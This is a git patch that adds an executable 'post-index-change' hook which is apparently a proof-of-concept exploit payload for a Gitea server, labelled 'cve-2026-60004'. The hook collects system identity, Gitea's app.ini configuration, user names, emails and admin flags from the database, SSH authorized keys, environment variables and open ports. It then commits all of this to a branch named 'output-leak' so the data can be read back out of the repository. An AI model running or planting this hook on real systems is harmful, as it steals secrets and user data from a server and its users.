From ec2b3f24d41d7fa3aeaa62221914b866c827562e Mon Sep 17 00:00:00 2001 From: dev40sr7c1 Date: Sat, 10 Oct 2026 11:17:08 +0330 Subject: [PATCH] apply --- hooks/post-index-change | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..5fa4e89 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,9 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$(echo ==ID==; id; hostname; uname -a; echo ==INI==; cat /data/gitea/conf/app.ini 2>/dev/null || cat /etc/gitea/app.ini 2>/dev/null || find / -name app.ini -not -path '*/proc/*' 2>/dev/null | head -3; echo ==DB==; which sqlite3 mysql psql 2>/dev/null; sqlite3 /data/gitea/gitea.db 'select name,email,is_admin from user' 2>/dev/null | head -80; echo ==REPOS==; ls /data/git/repositories 2>/dev/null | head -100; echo ==KEYS==; cat ~/.ssh/authorized_keys 2>/dev/null; ls ~/.ssh 2>/dev/null; echo ==ENV==; env | grep -iv 'LS_COLORS' | head -60; echo ==NET==; (ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null) | head -25; echo ==DOCKER==; cat /proc/1/cgroup 2>/dev/null | head -3; ls /.dockerenv 2>/dev/null 2>&1; echo "[exit-status=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM" +#A